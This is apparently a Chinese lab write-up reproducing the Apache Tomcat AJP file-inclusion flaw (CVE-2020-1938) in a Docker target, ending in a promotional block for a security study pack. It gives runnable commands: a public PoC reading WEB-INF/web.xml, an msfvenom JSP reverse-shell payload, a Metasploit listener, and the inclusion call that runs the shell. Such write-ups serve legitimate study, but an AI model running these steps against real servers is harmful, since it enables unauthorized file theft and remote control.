一,漏洞描述
1-1 漏洞原理
Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。AJP(Apache JServ Protocol)是定向包协议。因为性能原因,使用二进制格式来传输可读性文本。WEB服务器通过 TCP连接 和 SERVLET容器连接。
1-2 受影响版本
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.53
Apache Tomcat 9 < 9.0.31
二,靶场搭建
靶场:kali2023 192.168.1.160
攻击机器:kali2023 192.168.31.150
通过docker镜像搭建靶场,如果没有安装docker镜像,请参考下面这篇文章进项安装
2- 1 拉去靶场镜像
docker pull duonghuuphuc/tomcat-8.5.32
2-2 启动镜像
docker run -d -p 8080:8080 -p 8009:8009 duonghuuphuc/tomcat-8.5.32
2-3 访问
访问 192.168.31.160:8080 看到此页面说明靶场搭建成功了
三,漏洞复现
首先需要下载漏洞利用工具 ,网址如下(github)https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/
下载下来放到攻击机上(我的主机 kali2023 192.168.31.150)
名字很长,我改名了,叫CVE-2020-1938
cd 进入到文件里,可以看一下文件内容
接下来利用Tomcat-Root路径下文件读取(CVE-2020-1938)来读取服务器问价内容
注意把最后的红色IP地址换成你自己的靶场IP
python2 ‘Tomcat-ROOT路径下文件读取(CVE-2020-1938).py’ -p 8009 -f /WEB-INF/web.xml 192.168.31.160
python2 'Tomcat-ROOT路径下文件读取(CVE-2020-1938).py' -p 8009 -f /WEB-INF/web.xml 192.168.31.160
结果能成功读取到文件了,证明这里存在文件包含漏洞。
四,漏洞利用
我们如何getshell呢?
想要getshell则网站需要有文件上传的地方,这个靶场没有这个功能,不过我们可以模拟一下这个过程,我们手动复制木马文件到靶场服务器来模拟getshell过程
4-1 生成发现木马文件
注:真实环境中,在攻击器上生成木马,通过漏洞上传过去的
我在这里直接靶机 192.168.31.160上生成,复制到服务器目录中
kali上如下命令生成java木马文件
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.31.150 LPORT=8888 -f raw > aini_shell.txt
4-2 复制文件到服务器
先 docker ps 查看容器CONTAINER ID
然后进行复制
docker cp aini_shell.txt 525a39f3a85e:/usr/local/tomcat/webapps/ROOT/WEB-INF/
没有报错说明上传成功了
4-3 访问上传的木马文件
回到攻击器上
通过之前下载的POC访问一下,发现成功读取到了内容
但是我们目的是getshell,需要让反向shell执行才行
4-4 msf开启监听
先进入到msfconsole
msfconsole
use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lhost 192.168.31.150 ## 攻击器IP
set lport 4444 ## 攻击器需要监听的端口(跟生成反向shell时设置的端口一样)
注:我监听8888端口一直失败,所以我换了个4444端口,并重新生成了连接192.168.31.150:4444端口的木马文件,复制到了靶场服务器上
开启监听成功
4-5 访问反向木马文件
最后一步:攻击主机访问木马文件,并编译执行,反向连接我们攻击主机
python2 'Tomcat-ROOT路径下文件包含(CVE-2020-1938).py' -p 8009 -f /WEB-INF/aini_shell.txt 192.168.31.160
注意:这俩文件作用不一样,'Tomcat-ROOT路径下文件包含…'是用来编译执行服务器代码,执行反向shell用的这个,也就是上面一步,让木马执行反向连接我们电脑
而Tomcat-ROOT路径下文件读取…'单纯的读取文件内容,而不会编译执行
说明服务器上上传的反向木马编译执行了
看看监听的窗口有没有拿到shell
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取
读者福利 |
优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

👉1.成长路线图&学习规划👈
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
👉2.网安入门到进阶视频教程👈
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程文末领取哈)
👉3.SRC&黑客文档👈
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦!(全套教程文末领取哈)
👉4.护网行动资料👈
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
👉5.黑客必读书单👈
👉6.网络安全岗面试题合集👈
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~
读者福利 |
优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)
